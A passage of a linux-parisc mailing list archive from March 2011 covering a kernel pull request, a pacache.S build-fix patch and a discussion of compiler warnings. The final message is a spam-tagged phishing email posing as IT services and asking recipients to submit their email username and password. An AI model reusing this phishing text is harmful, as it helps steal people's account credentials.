	with ESMTP id PH7sPBIAQfez; Mon, 21 Mar 2011 09:45:57 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1E9288EE0D3;
	Mon, 21 Mar 2011 09:45:57 -0700 (PDT)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3510 gmane.linux.kernel:1115637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3510>

There are two major changes in this: one is our full conversion to the
generic IRQ handlers thanks to tglx and the other is switching us to use
tmpalias flushing (a change which means that our coherency no-longer
relies on the mechanics of page tables being present).  We still have
quite a lot of work to do, but the change to tmpalias flushing is at
last allowing us to track down some of the very infrequent coherency
issues on the platform.

The patch is available here:

master.kernel.org:/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#for-linus

The short changelog is:

James Bottomley (3):
      [PARISC] fix vmap flush/invalidate
      eliminate special FLUSH flag from page table
      parisc: flush pages through tmpalias space

Thomas Gleixner (2):
      [PARISC] Convert to new irq_chip functions
      [PARISC] fix per-cpu flag problem in the cpu affinity checkers

And the diffstat

 arch/parisc/Kconfig                  |    1 +
 arch/parisc/include/asm/cacheflush.h |   31 +++--
 arch/parisc/include/asm/irq.h        |   13 +--
 arch/parisc/include/asm/pgtable.h    |   14 +--
 arch/parisc/kernel/cache.c           |  109 +++-------------
 arch/parisc/kernel/entry.S           |  217 +++++++++++++++++-------------
 arch/parisc/kernel/irq.c             |   64 +++++----
 arch/parisc/kernel/pacache.S         |  245 +++++++++++++++-------------------
 drivers/parisc/dino.c                |   22 ++--
 drivers/parisc/eisa.c                |   12 +-
 drivers/parisc/gsc.c                 |   22 ++--
 drivers/parisc/iosapic.c             |   40 +++---
 drivers/parisc/superio.c             |   12 +-
 13 files changed, 375 insertions(+), 427 deletions(-)

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: [PARISC] fix pacache .size with new binutils
Date: Mon, 21 Mar 2011 22:18:56 +0200 (EET)
Lines: 21
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1103212212040.27981@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1300738744 16272 80.91.229.12 (21 Mar 2011 20:19:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Mar 2011 20:19:04 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 21 21:19:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1lZ6-00062Q-J6
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Mar 2011 21:19:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753969Ab1CUUS7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Mar 2011 16:18:59 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:54026 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753224Ab1CUUS7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Mar 2011 16:18:59 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 1A51F73D506
	for <linux-parisc@vger.kernel.org>; Mon, 21 Mar 2011 22:18:57 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 0DA3DDAF81; Mon, 21 Mar 2011 22:18:57 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 02412DAF80
	for <linux-parisc@vger.kernel.org>; Mon, 21 Mar 2011 22:18:56 +0200 (EET)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3511>

Currently, 2.6.38 compile fails on parisc64 because binutils complains 
that .size expression does not evaluate to a constant. The problem is 
confusion between flush_alias_page and flush_user_dcache_range_asm.

This patch fixes pacache.s compilation by adding ENDPROC to flush_alias 
page and ENTRY and correct ENDPROC to flush_user_dcache_range_asm.

Signed-off-by: Meelis Roos <mroos@linux.ee>

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..f3d7da6 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -842,11 +842,10 @@ ENTRY(flush_alias_page)
 	.exit
 
 	.procend
+ENDPROC(flush_alias_page)
 #endif
 
-	.export flush_user_dcache_range_asm

From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC] fix pacache .size with new binutils
Date: Mon, 21 Mar 2011 15:31:53 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <1300739513.10634.39.camel@mulgrave.site>
References: <alpine.SOC.1.00.1103212212040.27981@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300739535 21069 80.91.229.12 (21 Mar 2011 20:32:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Mar 2011 20:32:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 21 21:32:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1lln-00046S-Sn
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Mar 2011 21:32:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754384Ab1CUUcG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Mar 2011 16:32:06 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52002 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754355Ab1CUUcD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Mar 2011 16:32:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D91018EE108;
	Mon, 21 Mar 2011 13:32:01 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2UPQLg2hqMQH; Mon, 21 Mar 2011 13:32:01 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D6B9D8EE0D3;
	Mon, 21 Mar 2011 13:32:00 -0700 (PDT)
In-Reply-To: <alpine.SOC.1.00.1103212212040.27981@math.ut.ee>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3512>

On Mon, 2011-03-21 at 22:18 +0200, Meelis Roos wrote:
> Currently, 2.6.38 compile fails on parisc64 because binutils complains 
> that .size expression does not evaluate to a constant. The problem is 
> confusion between flush_alias_page and flush_user_dcache_range_asm.
> 
> This patch fixes pacache.s compilation by adding ENDPROC to flush_alias 
> page and ENTRY and correct ENDPROC to flush_user_dcache_range_asm.
> 
> Signed-off-by: Meelis Roos <mroos@linux.ee>
> 
> diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
> index 09b77b2..f3d7da6 100644
> --- a/arch/parisc/kernel/pacache.S
> +++ b/arch/parisc/kernel/pacache.S
> @@ -842,11 +842,10 @@ ENTRY(flush_alias_page)
>  	.exit
>  
>  	.procend
> +ENDPROC(flush_alias_page)
>  #endif
>  
> -	.export flush_user_dcache_range_asm
> -
> -flush_user_dcache_range_asm:
> +ENTRY(flush_user_dcache_range_asm)
>  	.proc
>  	.callinfo NO_CALLS
>  	.entry
> @@ -865,7 +864,7 @@ flush_user_dcache_range_asm:
>  	.exit
>  
>  	.procend
> -ENDPROC(flush_alias_page)
> +ENDPROC(flush_user_dcache_range_asm)
>  
>  ENTRY(flush_kernel_dcache_range_asm)
>  	.proc

This won't apply because of upstream changes to the file
(flush_alias_page got removed) ... does the problem even still exist
upstream?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC] fix pacache .size with new binutils
Date: Mon, 21 Mar 2011 22:47:15 +0200 (EET)
Lines: 24
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1103212243440.27981@math.ut.ee>
References: <alpine.SOC.1.00.1103212212040.27981@math.ut.ee> <1300739513.10634.39.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1300740446 27447 80.91.229.12 (21 Mar 2011 20:47:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Mar 2011 20:47:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 21 21:47:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1m0T-0003k0-UT
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Mar 2011 21:47:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754339Ab1CUUrR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Mar 2011 16:47:17 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:59431 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754309Ab1CUUrR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Mar 2011 16:47:17 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id AC8B36E4D7B;
	Mon, 21 Mar 2011 22:47:15 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 950DCDAF81; Mon, 21 Mar 2011 22:47:15 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 8A881DAF80;
	Mon, 21 Mar 2011 22:47:15 +0200 (EET)
In-Reply-To: <1300739513.10634.39.camel@mulgrave.site>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3513>

> This won't apply because of upstream changes to the file
> (flush_alias_page got removed) ... does the problem even still exist
> upstream?

Oops, did not try in last 2 days. Upstream has changed and removed this 
function and the problem is gone and the patch collapses to just a 
cleanup - do you want this:

Fix style of flush_user_dcache_range_asm procedure declaration in 
arch/parisc/kernel/pacache.s to be consistent with other assembly 
procedures.

Signed-off-by: Meelis Roos <mroos@linux.ee>

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index a858236..93ff3d9 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -817,10 +817,7 @@ ENTRY(purge_kernel_dcache_page)
 	.procend
 ENDPROC(purge_kernel_dcache_page)
 
-
-	.export flush_user_dcache_range_asm

From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC] fix pacache .size with new binutils
Date: Mon, 21 Mar 2011 22:49:51 +0200 (EET)
Lines: 20
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1103212247170.27981@math.ut.ee>
References: <alpine.SOC.1.00.1103212212040.27981@math.ut.ee> <1300739513.10634.39.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1300740598 28446 80.91.229.12 (21 Mar 2011 20:49:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Mar 2011 20:49:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 21 21:49:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1m2z-0005Ne-S8
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Mar 2011 21:49:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754484Ab1CUUtx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Mar 2011 16:49:53 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:44704 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754473Ab1CUUtw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Mar 2011 16:49:52 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id CFABD6E4D82;
	Mon, 21 Mar 2011 22:49:51 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id B92D3DAF81; Mon, 21 Mar 2011 22:49:51 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id AE21FDAF80;
	Mon, 21 Mar 2011 22:49:51 +0200 (EET)
In-Reply-To: <1300739513.10634.39.camel@mulgrave.site>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3514>

> This won't apply because of upstream changes to the file
> (flush_alias_page got removed) ... does the problem even still exist
> upstream?

By the way, the new code compiles with warnings:

  CC      arch/parisc/kernel/cache.o
arch/parisc/kernel/cache.c: In function 'flush_dcache_page':
arch/parisc/kernel/cache.c:310: warning: pointer type mismatch in conditional expression
arch/parisc/kernel/cache.c:310: warning: format '%s' expects type 'char *', but argument 4 has type 'void * const'

Is it just a lacking cast in printk argument?

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC] fix pacache .size with new binutils
Date: Mon, 21 Mar 2011 15:51:59 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1300740719.10634.44.camel@mulgrave.site>
References: <alpine.SOC.1.00.1103212212040.27981@math.ut.ee>
	 <1300739513.10634.39.camel@mulgrave.site>
	 <alpine.SOC.1.00.1103212247170.27981@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300740730 29406 80.91.229.12 (21 Mar 2011 20:52:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Mar 2011 20:52:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 21 21:52:04 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1m56-0005Ne-1G
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Mar 2011 21:52:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754108Ab1CUUwD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Mar 2011 16:52:03 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48173 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753609Ab1CUUwC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Mar 2011 16:52:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 32E348EE108;
	Mon, 21 Mar 2011 13:52:02 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lAFTni2Keq83; Mon, 21 Mar 2011 13:52:02 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BF0FC8EE0D3;
	Mon, 21 Mar 2011 13:52:01 -0700 (PDT)
In-Reply-To: <alpine.SOC.1.00.1103212247170.27981@math.ut.ee>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3515>

On Mon, 2011-03-21 at 22:49 +0200, Meelis Roos wrote:
> > This won't apply because of upstream changes to the file
> > (flush_alias_page got removed) ... does the problem even still exist
> > upstream?
> 
> By the way, the new code compiles with warnings:
> 
>   CC      arch/parisc/kernel/cache.o
> arch/parisc/kernel/cache.c: In function 'flush_dcache_page':
> arch/parisc/kernel/cache.c:310: warning: pointer type mismatch in conditional expression
> arch/parisc/kernel/cache.c:310: warning: format '%s' expects type 'char *', but argument 4 has type 'void * const'
> 
> Is it just a lacking cast in printk argument?

It's a reminder to me to dump the code.  However, we still don't have
agreement on the dump, and the alias warning is useful to people who are
working on the binutils update.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC] fix pacache .size with new binutils
Date: Mon, 21 Mar 2011 21:21:05 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20110322012106.273DD4FC9@hiauly1.hia.nrc.ca>
References: <1300739513.10634.39.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300756878 19767 80.91.229.12 (22 Mar 2011 01:21:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Mar 2011 01:21:18 +0000 (UTC)
Cc: mroos@linux.ee, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 22 02:21:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1qHV-0003qU-Nk
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Mar 2011 02:21:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755325Ab1CVBVI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Mar 2011 21:21:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4473 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755028Ab1CVBVI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Mar 2011 21:21:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 273DD4FC9; Mon, 21 Mar 2011 21:21:05 -0400 (EDT)
In-Reply-To: <1300739513.10634.39.camel@mulgrave.site> from "James Bottomley" at Mar 21, 2011 03:31:53 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3516
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3516>

> This won't apply because of upstream changes to the file
> (flush_alias_page got removed) ... does the problem even still exist
> upstream?

The problem still exists on various longterm branches and I guess
the 2.6.38 stable branch.  Is it worth fixing these?

I have to say that 2.6.38 without the tmpalias patch is seriously
broken on PA8800.  I tried two GCC builds and they both died with
segvs very early in the build.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Information Technology" <laura.miehlich@cilla.de>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: Update Your E-Mail Details Account
Date: Tue, 22 Mar 2011 15:38:38 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <201103221438.p2MEceu2031319__26061.5374114879$1300805007$gmane$org@auth3.smtp.vt.edu>
Reply-To: <financialcons729@aol.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300805007 31084 80.91.229.12 (22 Mar 2011 14:43:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Mar 2011 14:43:27 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 22 15:43:23 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q22nq-0005b8-P3
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Mar 2011 15:43:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754036Ab1CVOmv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Mar 2011 10:42:51 -0400
Original-Received: from lennier.cc.vt.edu ([198.82.162.213]:45664 "EHLO
	lennier.cc.vt.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751877Ab1CVOmn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Mar 2011 10:42:43 -0400
Original-Received: from zidane.cc.vt.edu (zidane.cc.vt.edu [198.82.163.227])
	by lennier.cc.vt.edu (8.13.8/8.13.8) with ESMTP id p2MEcRoA010630;
	Tue, 22 Mar 2011 10:39:01 -0400
Original-Received: from auth3.smtp.vt.edu (EHLO auth3.smtp.vt.edu) ([198.82.161.152])
	by zidane.cc.vt.edu (MOS 4.2.2-FCS FastPath queued)
	with ESMTP id OLY13873;
	Tue, 22 Mar 2011 10:38:55 -0400 (EDT)
Original-Received: from User (d147088.upc-d.chello.nl [213.46.147.88])
	(authenticated bits=0)
	by auth3.smtp.vt.edu (8.13.8/8.13.8) with ESMTP id p2MEceu2031319
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 22 Mar 2011 10:38:42 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Antivirus: avast! (VPS 110322-0, 03/22/2011), Outbound message
X-Antivirus-Status: Clean
X-Mirapoint-Received-SPF: 198.82.161.152 auth3.smtp.vt.edu laura.miehlich@cilla.de 5 none
X-Mirapoint-IP-Reputation: reputation=neutral-1,
	source=Fixed,
	refid=n/a,
	actions=MAILHURDLE SPF TAG
X-Junkmail: UCE(56)
X-Junkmail-Status: score=56/50, host=zidane.cc.vt.edu
X-Junkmail-Signature-Raw: score=bulk(6),
	refid=str=0001.0A020206.4D88AAED.017B,ss=3,sh,fgs=0,
	ip=213.46.147.88,
	so=2010-07-22 22:03:31,
	dmn=2009-09-10 00:05:08,
	mode=single engine
X-Junkmail-IWF: false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 5.8 points;
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?213.46.147.88>]
 * -1.1 BAYES_05 BODY: Bayesian spam probability is 1 to 5%
 *      [score: 0.0407]
 *  0.8 MSOE_MID_WRONG_CASE MSOE_MID_WRONG_CASE
 *  3.1 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
Xref: news.gmane.org gmane.spam.detected:4855364 gmane.linux.ports.parisc:3517
Archived-At: <http://permalink.gmane.org/gmane.spam.detected/4855364>

Confirm Your E-Mail Details
                                     
Dear Email User
This message is from Information Technology Services of This EMAIL to all our Staff. We are currently upgrading our database and e-mail center and this is our final notification to you.we have sent several messages to you without response.
We are deleting all unused Mail account to create space for new accounts. In order not to be suspended, you will have to update your account by providing the information listed below:

Confirm Your E-Mail Details..
Email.......................
User name: ..................
Password:..............
Re Confirm Password:.............
